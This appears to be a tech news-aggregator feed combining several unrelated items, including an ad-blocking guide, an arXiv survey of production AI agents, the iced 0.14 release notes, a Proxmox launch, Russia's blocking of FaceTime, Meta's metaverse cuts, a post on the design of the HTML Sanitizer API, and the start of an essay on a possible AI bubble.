The original sin of artificial intelligence was, of course, calling it artificial intelligence. Those two words have lured us into making man the measure of machine: “Now it’s as smart as an undergraduate...now it’s as smart as a PhD!” These comparisons only give us the illusion of understanding AI’s capabilities and limitations, as well as our own, because we don’t actually know what it means to be smart in the first place. Our definitions of intelligence are either wrong (“Intelligence is the ability to solve problems”) or tautological (“Intelligence is the ability to do things that require intelligence”). 10

It’s unfortunate that the computer scientists figured out how to make something that kinda looks like intelligence before the psychologists could actually figure out what intelligence is, but here we are. There’s no putting the cat back in the bag now. It won’t fit—there’s too many words in there.

PS it’s been a busy week on Substack—

and I discussed why people get so anxious about conversations, and how to have better ones:

And

at Can't Get Much Higher answered all of my questions about music. He uncovered some surprising stuff, including an issue that caused a civil war on a Beatles message board, and whether they really sang naughty words on the radio in the 1970s:

Derek and Chris both run terrific Substacks, check ‘em out!

How I block all online ads

Hacker News
troubled.engineer
2025-12-07 22:18:59
Comments...
Original Article

Ads support content creators and free services. If you value specific creators or platforms, consider supporting them directly through memberships or donations rather than relying solely on ad blocking.

Intro

A couple of years ago, I decided I'd had enough of ads. Not just the occasional banner or a quick pre-roll video — I mean all of them. They have to go.

So I embarked on a holy crusade to get rid of them as much as possible. I tried the obvious solutions first, then dug deeper into less conventional approaches. It took a long time, tons of experiments, and many observations, but today I am finally happy where I stand.

There are many techniques out there, some well-known and others surprisingly obscure. Here's what I learned over the years and what actually worked for me.

Let's start with the basics and work our way up to the more unconventional methods. The first few are straightforward and widely used. The later ones require more setup and maintenance but can block ads in places where traditional methods fail.

Browser extensions

Browser ad blockers are the biggest boycott in history . You're probably using one already!

I use Firefox with uBlock Origin — it's the best ad blocking combo out there. It's harder if you're on Chromium-based browser, since Google transitioned to Manifest V3 which conveniently limits ad blockers.

I keep my filter lists minimal — they cover almost everything I need:

  • Built-in uBlock filters
  • EasyList
  • AdGuard - Ads

I also maintain my own filters . They don't focus on ads, but rather on other annoyances.

DNS filtering

DNS filtering complements browser extensions by catching ads that slip through — particularly in mobile apps. Mobile apps typically load ads from dedicated ad-serving domains, making them straightforward to block at the DNS level.

Pi-hole and AdGuard Home are the most popular self-hosted options for this. If you're looking for a cloud-based solution, I don't use them myself, but I've heard good things about NextDNS .

I use Pi-hole, and it's been smooth so far. I don't expose it publicly — instead, I connect via WireGuard and set Pi-hole as the DNS server in my WireGuard config. If you're looking for blocklists, The Firebog is a great starting point. You'll also want to maintain an allowlist — blocklists occasionally include legitimate domains that break functionality on websites or in apps.

There are multiple ways to install Pi-hole , I keep it in Docker and suggest you do the same.

VPN via cloud

Now here comes a secret ingredient. If you route all your traffic through a popular cloud provider (via VPN or proxy), then many online platforms are less likely to show you ads.

That happens because to these platforms you look like a fraudster doing something sketchy with their ads. Imagine this scenario: a small business spends $1000 on ads. Their competitors figure out the targeting, mimic that behavior, spin up 10 VMs, and waste the entire advertising budget on fake interactions. The small business isn't coming back to spend more money on ads after that experience.

Online platforms are well aware of this, so they fight fraud. Not serving ads to traffic from public cloud providers is one of the first steps they take.

However, this will negatively affect your experience on some sites — you'll hit Cloudflare captchas and HTTP errors due to sites blocking cloud provider IPs. I'm fine with it and just turn the VPN off occasionally when something breaks. Just keep in mind that even a few requests with your real IP might be enough for an online platform to start showing you ads again.

I host WireGuard on a $5 DigitalOcean droplet, but Hetzner, Azure, Google Cloud, AWS, and others work just as well. DigitalOcean also provides a detailed guide on how to set it up.

Other useful stuff

Below you'll find some other useful things, although they aren't exactly related to ad-blocking:

  • Browser extensions against annoyances:
  • I'd also suggest SponsorBlock — it has saved me so much time. There's also an option for TVs and streaming devices .
  • If you're on iOS, consider turning off Background App Refresh . Only a few apps use Background App Refresh as Apple designed it, the majority are simply abusing it to get more data about you. If you don't have always-on VPN, you risk exposing your real IP.
  • Patched apps are also a thing, and it's also possible to patch mobile apps yourself via ReVanced . While it's a decent option, it's also a security risk — I'm careful with it and don't use it with sensitive accounts.

Personal experience

I've been using all these things mentioned above for over 3 years now. I barely see any ads nowadays. If you're curious about specifics, I keep track of what works where:

Platform Web iOS / Android
YouTube uBlock Origin NewPipe or Invidious
Instagram uBlock Origin VPN via cloud (takes a week to a month)
Twitch VPN via cloud (takes a few days) -
TikTok uBlock Origin VPN via cloud (takes a few hours)
Apps with AdMob - DNS blocking

These are the tricky outliers. For most sites and apps, DNS filtering and a browser ad blocker catch 99% of ads without any extra effort. The VPN approach helps with that remaining 1%, though it usually takes time to kick in — these platforms don't make decisions based on seeing your IP once, they need to observe patterns over days or weeks.

Mechanical power generation using Earth's ambient radiation

Hacker News
www.science.org
2025-12-07 21:55:01
Comments...

Measuring Agents In Production (survey paper)

Lobsters
arxiv.org
2025-12-07 21:31:40
Comments...
Original Article

View PDF HTML (experimental)

Abstract: AI agents are actively running in production across diverse industries, yet little is publicly known about which technical approaches enable successful real-world deployments. We present the first large-scale systematic study of AI agents in production, surveying 306 practitioners and conducting 20 in-depth case studies via interviews across 26 domains. We investigate why organizations build agents, how they build them, how they evaluate them, and what the top development challenges are. We find that production agents are typically built using simple, controllable approaches: 68% execute at most 10 steps before requiring human intervention, 70% rely on prompting off-the-shelf models instead of weight tuning, and 74% depend primarily on human evaluation. Reliability remains the top development challenge, driven by difficulties in ensuring and evaluating agent correctness. Despite these challenges, simple yet effective methods already enable agents to deliver impact across diverse industries. Our study documents the current state of practice and bridges the gap between research and deployment by providing researchers visibility into production challenges while offering practitioners proven patterns from successful deployments.

Submission history

From: Melissa Pan [ view email ]
[v1] Tue, 2 Dec 2025 16:45:10 UTC (337 KB)

Quoting Cory Doctorow

Simon Willison
simonwillison.net
2025-12-07 21:28:28
Now I want to talk about how they're selling AI. The growth narrative of AI is that AI will disrupt labor markets. I use "disrupt" here in its most disreputable, tech bro sense. The promise of AI – the promise AI companies make to investors – is that there will be AIs that can do your job, and when ...
Original Article

Now I want to talk about how they're selling AI. The growth narrative of AI is that AI will disrupt labor markets. I use "disrupt" here in its most disreputable, tech bro sense.

The promise of AI – the promise AI companies make to investors – is that there will be AIs that can do your job, and when your boss fires you and replaces you with AI, he will keep half of your salary for himself, and give the other half to the AI company.

That's it.

That's the $13T growth story that MorganStanley is telling. It's why big investors and institutionals are giving AI companies hundreds of billions of dollars. And because they are piling in, normies are also getting sucked in, risking their retirement savings and their family's financial security.

Cory Doctorow , The Reverse Centaur’s Guide to Criticizing AI

Using LLMs at Oxide

Simon Willison
simonwillison.net
2025-12-07 21:28:17
Using LLMs at Oxide Thoughtful guidance from Bryan Cantrill, who evaluates applications of LLMs against Oxide's core values of responsibility, rigor, empathy, teamwork, and urgency. Via Lobste.rs Tags: ai, generative-ai, llms, oxide, bryan-cantrill...
Original Article

Using LLMs at Oxide ( via ) Thoughtful guidance from Bryan Cantrill, who evaluates applications of LLMs against Oxide's core values of responsibility, rigor, empathy, teamwork, and urgency.

Posted 7th December 2025 at 9:28 pm

iced 0.14 has been released (Rust GUI library)

Hacker News
github.com
2025-12-07 21:27:28
Comments...
Original Article

@hecrj hecrj released this

07 Dec 20:53

Added

  • Reactive rendering. #2662
  • Time travel debugging. #2910
  • Animation API for application code. #2757
  • Headless mode testing. #2698
  • First-class end-to-end testing. #3059
  • Input method support. #2777
  • Hot reloading. #3000
  • Concurrent image decoding and uploading (and more cool stuff). #3092
  • comet debugger and devtools foundations. #2879
  • Presentation metrics for comet . #2881
  • Custom performance metrics for comet . #2891
  • Smart scrollbars. #2922
  • System theme reactions. #3051
  • table widget. #3018
  • grid widget. #2885
  • sensor widget. #2751
  • float widget and other cool stuff. #2916
  • pin widget. #2673
  • wrap method for column widget. #2884
  • auto_scroll support for scrollable widget. #2973
  • delay support for tooltip widget. #2960
  • Auto strategy to text::Shaping . #3048
  • Incremental markdown parsing. #2776
  • Customizable markdown rendering and image support. #2786
  • Quote support for markdown widget. #3005
  • Tasklist support for markdown widget. #3022
  • crisp feature for default quad snapping. #2969
  • Basic layer merging for graphics::layer::Stack . #3033
  • Headless mode for iced_wgpu and concurrency foundations. #2857
  • Primitive culling in column and row widgets. #2611
  • Lazy Compositor initialization in winit shell. #2722
  • Support for Justified text alignment. #2836
  • Support for double click event to mouse_area . #2602
  • Default implementation for iced_wgpu::geometry::Cache . #2619
  • physical_key field to KeyReleased event. #2608
  • total_size method for qr_code widget. #2606
  • PartialEq implementations for widget styles. #2637
  • Send marker to iced_wgpu::Renderer by using Arc in caches. #2692
  • Disabled Status for scrollbar widget. #2585
  • warning color to theme::Palette . #2607
  • maximized and fullscreen fields to window::Settings . #2627
  • window tasks for controlling sizes and resize increments. #2633
  • window task for drag resizing. #2642
  • Helper functions for alignment to widget module. #2746
  • time::repeat subscription. #2747
  • Vertical support for progress_bar . #2748
  • scale support for image widget. #2755
  • LineEnding support for text_editor . #2759
  • Mul<Transformation> implementation for mouse::Cursor and mouse::Click . #2758
  • animation module support for Wasm target. #2764
  • Flake for a dev shell in DEPENDENCIES . #2769
  • unfocus widget operation. #2804
  • sipper support and some QoL. #2805
  • Variable text size for preedit IME window. #2790
  • is_focused widget operation. #2812
  • Notification of window pre-presentation to windowing system. #2849
  • Customizable vertical spacing for wrapped rows. #2852
  • Indent and unindent actions for text_editor . #2901
  • Floating Images. #2903
  • min_size method to PaneGrid . #2911
  • Generic key for sensor widget. #2944
  • Debug implementation for Task . #2955
  • draw_with_bounds method to canvas::Cache . #3035
  • Synchronous Task Execution and RedrawRequested Consistency. #3084
  • id method to text_editor . #2653
  • horizontal and vertical methods to Padding . #2655
  • is_focused selector and find / find_all operations. #2664
  • push and into_options methods to combo_box::State . #2684
  • Hidden variant to mouse::Interaction . #2685
  • menu_height method to pick_list and combo_box widgets. #2699
  • text_color to toggler::Style . #2707
  • text_shaping method to combo_box widget. #2714
  • transparent field for window::Settings . #2728
  • closeable and minimizable fields to window::Settings . #2735
  • window::monitor_size task. #2754
  • Division operation for Size and Vector . #2767
  • hidden method to scrollable widget. #2775
  • Support for macOS-specific key shortcuts with Control modifier. #2801
  • Additional variants to mouse::Interaction . #2815
  • vsync field to window::Settings . #2837
  • wgpu-bare feature flag to disable default wgpu features. #2828
  • ratio method for Size . #2861
  • Support for ⌘ + Backspace and ⌘ + Delete macOS shortcuts. #2862
  • Expandable selection-by-word after double click in text editors. #2865
  • x11 and wayland feature flags. #2869
  • label method for checkbox widget. #2873
  • shader::Pipeline trait for easier wgpu resource management. #2876
  • select_range widget operation. #2890
  • grid! macro helper. #2904
  • warning style for container widget. #2912
  • Current toggle state to toggler::Status::Disabled . #2908
  • Cursor size awareness for input methods. #2918
  • allow_automatic_tabbing task to runtime::window . #2933
  • FromStr and Display implementations for Color . #2937
  • text::Renderer trait in iced_graphics with fill_raw method. #2958
  • font_maybe helper for text widget. #2988
  • filter_map method to Subscription . #2981
  • repeat field to keyboard::Event::KeyPressed . #2991
  • Additional settings to control the fonts used for markdown rendering. #2999
  • Rescaled variant to window::Event . #3001
  • Environment variable to define beacon server listen address. #3003
  • push_under method to stack widget. #3010
  • NONE constant to keyboard::Modifiers . #3037
  • shadow field to overlay::menu::Style . #3049
  • draw_mesh_cache method in mesh::Renderer trait. #3070
  • Efficient is_empty method for text_editor::Content . #3117
  • *Assign implementations for Point and Vector . #3131
  • Support Background instead of Color styling for scrollable . #3127
  • CornerPreference window setting for Windows. #3128
  • move_to method for Editor API. #3125
  • Background and padding_ratio support for toggler styling. #3129
  • More syntaxes for iced_highlighter . #2822
  • Implement Sub<Vector> for Cursor . #3137

Changed

  • Replace Rc with Arc for markdown caching. #2599
  • Improved button::Catalog and Style documentation. #2590
  • Improved clock example to display ticks and numbers. #2644
  • Derived PartialEq and Eq for mouse::click::Kind . #2741
  • Marked Color::from_rgb8 and Color::from_rgba8 as const. #2749
  • Replaced unmaintained directories-next crate with directories . #2761
  • Changed Widget::update to take Event by reference. #2781
  • Improved gallery example with blurhash previews. #2796
  • Replaced wasm-timer with wasmtimer . #2780
  • Tweaked Palette Generation. #2811
  • Relaxed Task::perform bound from Fn to FnOnce . #2827
  • Improved quad shader to use a single SDF in iced_wgpu . #2967
  • Leveraged Limits::min directly in scrollable::layout . #3004
  • Overhauled theme::Palette generation by leveraging Oklch . #3028
  • Mutable Widget Methods. #3038
  • Prioritized Shrink over Fill in layout logic. #3045
  • Replaced format! with concat! for string literals. #2695
  • Replaced window::run_with_handle with a more powerful window::run . #2718
  • Made color helpers in palette module public. #2771
  • Changed default PowerPreference to HighPerformance in iced_wgpu . #2813
  • Made button::DEFAULT_PADDING public. #2858
  • Replaced Url parsing in markdown widget with String URIs. #2992
  • Improved alignment docs of container . #2871
  • Made input_method module public. #2897
  • iced logo to built-in icons font. #2902
  • Made Layout::children return an ExactSizeIterator . #2915
  • Enabled fancy-regex instead of onig for syntect . #2932
  • Added warning status to toast example. #2936
  • Improved scroll_to and snap_to to allow operating on a single axis. #2994
  • Disabled png-format feature from iced_tiny_skia . #3043
  • Unified keyboard subscriptions into a single listen subscription. #3135
  • Updated to Rust 2024. #2809
  • Updated wgpu to 22.0 . #2510
  • Updated wgpu to 23.0 . #2663
  • Updated wgpu to 24.0 . #2832
  • Updated wgpu to 26.0 . #3019
  • Updated wgpu to 27.0 . #3097
  • Updated image to 0.25 . #2716
  • Updated cosmic-text to 0.13 . #2834
  • Updated cosmic-text to 0.14 . #2880
  • Updated cosmic-text to 0.15 . #3098
  • Updated resvg to 0.45 . #2846
  • Updated wasmtimer to 0.4.2 . #3012
  • Updated dark-light to 2.0 . #2724
  • Updated openssl to 0.10.70 . #2783
  • Updated our winit fork with 0.30.8 fixes. #2737

Fixed

  • Slow wgpu documentation. #2593
  • Documentation for open_events . #2594
  • Layout for wrapped row with spacing . #2596
  • Flex layout of Fill elements in a Shrink cross axis. #2598
  • Incorrect triangle mesh counting in wgpu . #2601
  • Dropped images and meshes when pasting Frame . #2605
  • loading_spinners example skipping part of the animation cycle. #2617
  • Window File* events not marked as unsupported for Wayland. #2615
  • Coupling of markdown::view iterator lifetime with resulting Element . #2623
  • Delete key not working in text_editor widget. #2632
  • Consecutive clicks triggering independently of distance. #2639
  • pane_grid losing continuity when adding or removing panes. #2628
  • Synthetic keyboard events not being discarded. #2649
  • sort_by without total ordering in tiny-skia damage tracking. #2651
  • Outdated docs of Scrollable::with_direction and direction . #2668
  • button calling its on_press handler unnecessarily. #2683
  • system_information example getting stuck at boot. #2681
  • tooltip widget not redrawing when hovered. #2675
  • pane_grid::DragEvent::Canceled not emitted within deadband. #2691
  • Inconsistent positions in window-related operations. #2688
  • text::Wrapping not being applied to Paragraph . #2723
  • Broken nested markdown lists without empty line. #2641
  • Unnecessary cast in the_matrix example. #2731
  • Incorrect layer counting in iced_wgpu . #2701
  • Image not respecting viewport bounds. #2752
  • Attempting to draw empty meshes in iced_wgpu . #2782
  • Input placeholder text not clearing when IME is activated. #2785
  • Missing redraw request in image::Viewer . #2795
  • Wrong position of preedit text on scrolled content. #2798
  • Wrong initial candidate position for IME. #2793
  • Text spans in IME preedit not being properly cached. #2806
  • cpu_brand in system_information always being empty. #2797
  • Horizontal text alignment being ignored on multi-line text. #2835
  • Missing redraw request in mouse_area when hovered. #2845
  • futures-executor being pulled even when it's not the default executor. #2841
  • WebGPU failing to boot in Chromium. #2686
  • Crash when using WebGL due to wrong binding alignment. #2883
  • Wrong calculation of rows in grid widget when evenly distributed. #2896
  • Panic in combo_box due to cleared children during diff . #2905
  • OpenGL backend in wgpu interpreting atlas texture as cube map instead of texture array. #2919
  • quad shader blending without pre-multiplication. #2925
  • Inconsistent primitive pixel snapping in iced_wgpu . #2962
  • Inconsistent Rectangle::is_within implementation. #2966
  • Text damage calculation in iced_tiny_skia . #2964
  • Leftover title mention in documentation. #2972
  • Text bounds cutoff in iced_wgpu . #2975
  • Rectangle vertices not being snapped to the pixel grid independently. #2768
  • Lints for Rust 1.89. #3030
  • debug builds on macOS Tahoe. #3056
  • Typo in documentation comment for filter_map . #3052
  • container::Style not respecting crisp feature. #3112
  • Incorrect padding in text_editor . #3115
  • Outdated documentation of Widget::mouse_interaction . #2696
  • Incorrect render pass viewport in custom_shader example. #2738
  • Capturing ButtonReleased event inside image::Viewer . #2744
  • Incomplete docs for on_link_click in rich_text . #2803
  • Stale syntax highlighting on text_editor after theme changes. #2818
  • Wrong background color for window::Preedit on translucent themes. #2819
  • Panic on Chromium-like browsers when canvas initial size is (0, 0) . #2829
  • Outdated dev shell templates. #2840
  • Missing derive feature for serde dependency. #2854
  • bezier_tool listed as an example in the Widget trait docs. #2867
  • Incomplete doc comment of Length::is_fill . #2892
  • scrollable touch scrolling when out of bounds. #2906
  • Element::explain being hidden by multi-layer widgets. #2913
  • Missing Shell::request_redraw on component . #2930
  • Text clipping in iced_tiny_skia . #2929
  • Inconsistent naming of tree parameter in Widget trait. #2950
  • text_editor syntax highlighting not updating on paste. #2947
  • svg scaling in iced_tiny_skia . #2954
  • Stroke bounds calculation and clip transformations in iced_tiny_skia . #2882
  • Artifacts when drawing small arcs in canvas widget. #2959
  • Path not being closed in Path::circle . #2979
  • Incorrect transformation of cached primitives in iced_tiny_skia . #2977
  • Panic when drawing empty image in iced_tiny_skia . #2986
  • Incorrect mapping of navigation keys on higher keyboard layers. #3007
  • Status of svg widget not being updated on cursor movement. #3009
  • hover widget ignoring events in certain conditions. #3015
  • OpenGL backend in iced_wgpu choosing wrong texture format in wgpu::image::atlas . #3016
  • Missing redraw request in geometry example. #3020
  • Buffer presentation logic in iced_tiny_skia . #3032
  • combo_box text not getting cleared on selection. #3063
  • wgpu surface not being reconfigured on SurfaceError::Lost or Outdated . #3067
  • Incorrect cursor for slider widget on Windows . #3068
  • Paragraph::hit_span returning false positives at end of content. #3072
  • Incorrect Limits::loose documentation. #3116
  • Missing semicolon triggering a clippy lint. #3118
  • iced_tiny_skia using a Window instead of a Display handle for softbuffer::Context creation. #3090
  • Missing fn operate in tooltip widget. #3132
  • Panic when rendering problematic svg . #3123
  • Hotkey combinations not working on non-latin keyboard layouts. #3134
  • keyboard::listen reporting captured key events. #3136

Removed

  • is_over method in Overlay trait. #2921
  • Short-hand notation support for color! macro. #2592
  • surface argument of Compositor::screenshot . #2672
  • once_cell dependency. #2626
  • winapi dependency. #2760
  • palette dependency. #2839

Many thanks to...

Proxmox delivers its software-defined datacenter contender and VMware escape

Hacker News
www.theregister.com
2025-12-07 21:26:35
Comments...
Original Article

Open source virtualization project Proxmox has delivered the first full and stable release of its Datacenter Manager product, making it a more viable alternative as a private cloud platform.

Proxmox’s Virtual Environment, a platform that hosts virtual machines and containers, and includes software-defined storage and networking, has become increasingly prominent in recent years as Broadcom’s VMware business unit focused on large enterprise customers. Proxmox has become a popular alternative to VMware for organizations whose needs don’t go far beyond basic server virtualization. Even one VMware partner The Register recently spoke to decided Proxmox was sufficient for some internal workloads it felt did not need all the features of VMware’s Cloud Foundation platform.

Proxmox, however, has bigger ambitions and on Thursday started chasing them by releasing a new product called Datacenter Manager that offers centralized management for multiple, independent Proxmox-based environments.

As explained in Proxmox’s launch announcement, the product “… provides an aggregated view of all your connected nodes and clusters and is designed to manage complex and distributed infrastructures, from local installations to globally scaled data centers.”

Datacenter Manager also enables migration of VMs across clusters without having to manually reconfigure networks. That’s a trick VMware invented decades ago and has since become table stakes for serious private cloud players.

Other features also help to make Proxmox a contender, such as VM fleet management tools that allow admins to identify VMs that need patches and arrange installation, lifecycle management for VMs, and a dashboard that allows a view of all hosts and the workloads they host – and their status.

Bardia Khalilifar, CEO of Australian Proxmox service provider Multiportal.io, welcomed the debut of Datacenter Manager.

"I think it is fantastic that Proxmox has released this," he said, as it will help enable service providers to manage multiple Proxmox rigs on behalf of their clients. He said the product "opens the floodgates" for wider Proxmox adoption, especially across multiple datacenters and for use in private clouds.

Proxmox Server Solutions GmbH, the entity that develops Proxmox products and makes them available under the GNU AGPLv3 license, wrote Datacenter Manager in Rust. That’s no guarantee of strong security, but it’s a decent start. Proxmox’s developers based the platform on Debian Trixie 13.2, using version 6.17 of the Linux kernel, and with ZFS 2.3.4 included.

Datacenter Manager downloads are available here . If you take it for a spin, let us know how it goes! ®

Russia Blocks FaceTime and Snapchat

Daring Fireball
apnews.com
2025-12-07 21:19:00
Dasha Litvinova, reporting for the AP: Russian authorities said Thursday they have imposed restrictions on Apple’s video calling service FaceTime, the latest step in an effort to tighten control over the internet and communications online. State internet regulator Roskomnadzor alleged in a state...
Original Article

Russian authorities said Thursday they have imposed restrictions on Apple’s video calling service FaceTime, the latest step in an effort to tighten control over the internet and communications online.

State internet regulator Roskomnadzor alleged in a statement that the service is being “used to organize and conduct terrorist activities on the territory of the country, to recruit perpetrators (and) commit fraud and other crimes against our citizens.” Apple did not respond to an emailed request for comment.

The Russian regulator also announced that it has blocked Snapchat, a messaging app for sharing photos, videos and text messages, citing the same grounds it gave for restricting FaceTime. It said that it took the action Oct. 10 even though it only reported the move on Thursday.

Under President Vladimir Putin, authorities have engaged in deliberate and multipronged efforts to rein in the internet. They have adopted restrictive laws and banned websites and platforms that don’t comply. Technology also has been perfected to monitor and manipulate online traffic.

After Russia’s full-scale invasion of Ukraine in 2022, the government blocked major social media like Twitter, Facebook and Instagram.

Access to YouTube was disrupted last year in what experts called deliberate throttling of the widely popular site by the authorities. The Kremlin blamed YouTube owner Google for not properly maintaining its hardware in Russia.

While it’s still possible to circumvent some of the restrictions by using virtual private network services, those are routinely blocked, too.

Authorities further restricted internet access this summer with widespread shutdowns of cellphone internet connections . Officials have insisted the measure was needed to thwart Ukrainian drone attacks, but experts argued it was another step to tighten internet control. In dozens of regions, “white lists” of government-approved sites and services that are supposed to function despite a shutdown have been introduced.

The government also has acted against popular messaging platforms. Encrypted messenger Signal and another popular app, Viber, were blocked in 2024. This year the authorities banned calls via WhatsApp, the most popular messaging app in Russia, and Telegram, a close second. Roskomnadzor justified the measure by saying the two apps were being used for criminal activities.

At the same time, authorities actively promoted a “national” messenger app called MAX, which critics see as a surveillance tool. The platform, touted by developers and officials as a one-stop shop for messaging, online government services, making payments and more, openly declares it will share user data with authorities upon request. Experts also say it doesn’t use end-to-end encryption.

Earlier this week, the government also said it was blocking Roblox, a popular online game platform, saying the step aimed at protecting children from illicit content and “pedophiles who meet minors directly in the game’s chats and then move on to real life.”

Stanislav Seleznev, cyber security expert and lawyer with the Net Freedom rights group, told The Associated Press that Russian law views any platform where users can message each other as “organizers of dissemination of information.”

This label mandates that platforms have an account with Roskomnadzor so that it could communicate its demands, and give Russia’s security service, the FSB, access to accounts of their users for monitoring; those failing to comply are in violation and can get blocked, Seleznev said.

He suggested that these regulations could have been applied to both Roblox and FaceTime.

Roblox in October was the second most popular game platform in Russia, with nearly 8 million monthly users, according to media monitoring group Mediascope.

Seleznev estimated that possibly tens of millions of Russians have been using FaceTime, especially after calls were banned on WhatsApp and Telegram. He called the restrictions against the service “predictable” and warned that other sites failing to cooperate with Roskomnadzor “will be blocked, that’s obvious.”

★ Meta Says Fuck That Metaverse Shit

Daring Fireball
daringfireball.net
2025-12-07 21:18:13
Joz might want to use the word now, just to make jokes....
Original Article

Mike Isaac, reporting for The New York Times, “ Meta Weighs Cuts to Its Metaverse Unit ” (gift link):

Meta is considering making cuts to a division in its Reality Labs unit that works on the so-called metaverse, said three employees with knowledge of the matter.

The cuts could come as soon as next month and amount to 10 to 30 percent of employees in the Metaverse unit, which works on virtual reality headsets and a V.R.-based social network, the people said. The numbers of potential layoffs are still in flux, they said. Other parts of the Reality Labs division develop smart glasses, wristbands and other wearable devices. The total number of employees in Reality Labs could not be learned.

Meta does not plan to abandon building the metaverse, the people said. Instead, executives expect to shift the savings from the cuts into investments in its augmented reality glasses, the people said.

Meta confirmed the cuts to the Wall Street Journal , and Blooomberg’s Kurt Wagner broke the news Thursday .

I’m so old that I remember ... checks notes ... four years ago, when Facebook renamed itself Meta in late 2021 with this statement : “Meta’s focus will be to bring the metaverse to life and help people connect, find communities and grow businesses.” And Mark Zuckerberg, announcing the change, wrote :

But all of our products, including our apps, now share a new vision: to help bring the metaverse to life. And now we have a name that reflects the breadth of what we do.

From now on, we will be metaverse-first, not Facebook-first. That means that over time you won’t need a Facebook account to use our other services. As our new brand starts showing up in our products, I hope people around the world come to know the Meta brand and the future we stand for.

Many of us never fell for this metaverse nonsense. For example, I’m also old enough to remember just one year later, near the end of Joanna Stern’s on-stage interview with Craig Federighi and Greg Joswiak at a 2022 WSJ event, seven months before Vision Pro was announced ( at the 29:30 mark ):

Stern: You have to finish this sentence, both of you. The metaverse is...

Joz: A word I’ll never use.

He might want to use the word now, just to make jokes.

Om Malik, writing in April this year :

Some of us are old enough to remember that the reason Mark renamed the company is because the Facebook brand was becoming toxic, and associated with misinformation and global-scale crap. It was viewed as a tired, last-generation company. Meta allowed the company to rebrand itself as something amazing and fresh .

Lastly, yours truly, linking to Malik’s post :

And so while “Meta” will never be remembered as the company that spearheaded the metaverse — because the metaverse never was or will be an actual thing — it’s in truth the perfect name for a company that believes in nothing other than its own success.

Why the Sanitizer API is just `setHTML()`

Lobsters
frederikbraun.de
2025-12-07 21:16:39
Comments...
Original Article

Sanitizing HTML is the practice of taking a piece of HTML and removing some unwanted elements and attributes. Most often this is done to allow user-generated content with HTML but without causing XSS bugs. When imported from a library, a sanitizer typically looks like this:

const clean = DOMPurify.sanitize(input);
context.innerHTML = clean;

However, the API that we are building doesn't look like this at all. The core feature of the Sanitizer API is actually just Element.setHTML(input) .

This blog post will explain why.

To do so, we have to study the two lines of code from the DOMPurity example above. They result in the following steps:

  1. Take an input string (and optionally a list of allowed elements as parameter).
  2. Parse the input into an HTML fragment (no context element given).
  3. Traverse the HTML fragment and remove elements as configured.
  4. Serialize the remaining fragment into a string.
  5. Parse the sanitized string (again), this time with context as context node into a fragment.
  6. Insert the new fragment below context in the DOM tree.

Quick exercise for the reader: Can you spot where line 1 ( DOMPurify.sanitize() ) stops and line 2 (the innerHTML assignment) starts?

Solution DOMPurify.sanitize() includes steps 1 through 4. The innerHTML assignment. is steps 5-6.

This is pretty similar to the Sanitizer that I wanted to build into the browser:

const mySanitizer = new Sanitizer(/* config */);
//XXX This never shipped.
context.innerHTML = Sanitizer.sanitize(input);

But that is NOT the Sanitizer we ended up with.

And the reason is essentially Mutated XSS (mXSS). To quickly recap, the idea behind mXSS is that HTML parsing is not stable and a line of HTML being parsed and serialized and parsed again may turn into something rather different. (See this description of mXSS bugs collected by SonarSource if you need a refresher.)

Another key point with mXSS is that HTML parsing can be quite context-sensitive : How an input string will be interpreted depends on the current node it is being inserted into.

Now let's go back to the algorithm steps 1-6. Did you notice that step 2 and 5 both perform HTML parsing? DOMPurify and most other sanitizers do this without any supplied context element. Typically, they parse into a new document and only return the content of the resulting <body> . The second parse step (step 5), however, does include a context element.

This means that we are parsing the input subtly different each time. We accidentally built a weird machine that will turn HTML into mXSS.

A better HTML sanitizer therefore needs to do away with all of that. How about the following:

  • Use the right context when parsing HTML input.
  • Remove the need for parsing twice.

Starting from an API design with a constructor like new Sanitizer() , it felt pretty hard to think of a context-sensitive method. I wanted something like Sanitizer.sanitize(input, context) . But how would we actually ensure that the return value can not be used another, potentially wrong context ?

What we settled on was an API that has no return value:

context.setHTML(input, {sanitizer: ... } );

The internal algorithm is now the following:

  1. Parse the input (with the right context element) into a document fragment
  2. Traverse the resulting fragment and sanitize. (Using safe defaults or a user-specified configuration).
  3. Replace the child nodes below context with the sanitized up fragment.

No superfluous parsing. No ambiguous contexts. Just setting HTML.

As a nice side-effect, you can replace existing code in the style of ctx.innerHTML = input with context.setHTML(input) and it should just work the same.

Except that there's no XSS.

To learn more about the Sanitizer API, please continue on MDN , in the Sanitizer Playground , or the Specification ).

The Ways the AI Bubble Might Burst

Hacker News
www.wheresyoured.at
2025-12-07 21:13:28
Comments...
Original Article

[Editor's Note: this piece previously said "Blackstone" instead of "Blackrock," which has now been fixed.]

I've been struggling to think about what to write this week, if only because I've written so much recently and because, if I'm honest, things aren't really making a lot of sense.

NVIDIA claims to have shipped six million Blackwell GPUs in the last four quarters — as I went into in my last premium piece — working out to somewhere between 10GW and 12GW of power (based on the power draw of B100 and B200 GPUs and GB200 and GB300 racks), which...does not make sense based on the amount of actual data center capacity brought online.

Similarly, Anthropic claims to be approaching $10 billion in annualized revenue — so around $833 million in a month — which would make it competitive with OpenAI's projected $13 billion in revenue, though I should add that based on my reporting extrapolating OpenAI's revenues from Microsoft's revenue share , I estimate the company will miss that projection by several billion dollars, especially now that Google's Gemini 3 launch has put OpenAI on a " Code Red, " shortly after an internal memo revealed that Gemini 3 could “create some temporary economic headwinds for [OpenAI]."

Which leads me to another question: why?

Gemini 3 is "better," in the same way that every single new AI model is some indeterminate level of "better." Nano Banana Pro is, to Simon Willison, " the best available image generation model. " But I can't find a clear, definitive answer as to why A) this is "so much better," B) why everybody is freaking out about Gemini 3, and C) why this would have created "headwinds" for OpenAI, headwinds so severe that it has had to rush out a model called Garlic "as soon as possible" according to The Information :

Last week, OpenAI’s chief research officer Mark Chen told some colleagues about the new model, which was performing well on the company’s evaluations, at least when compared to Gemini 3 and Anthropic’s Opus 4.5 in tasks involving coding and reasoning, according to a person with knowledge of the remarks.

But Garlic may be a bigger deal. Chen said OpenAI is looking to release a version of Garlic as soon as possible, which we think means people shouldn’t be surprised to see GPT-5.2 or GPT-5.5 release by early next year.

Garlic is a different model from Shallotpeat, a new large language model under development which Altman told staff in October would help OpenAI challenge Gemini 3. Garlic incorporates bug fixes that the company used in developing Shallotpeat during the pretraining process, the first stage of model training in which an LLM is shown data from the web and other sources so it can learn connections between them.

Right, sure, cool, another model. Again, why is Gemini 3 so much better and making OpenAI worried about "economic headwinds"? Could this simply be a convenient excuse to cover over, as Alex Heath reported a few weeks ago , ChatGPT's slowing download and usage growth ?

Experts I've talked to arrived at two conclusions:

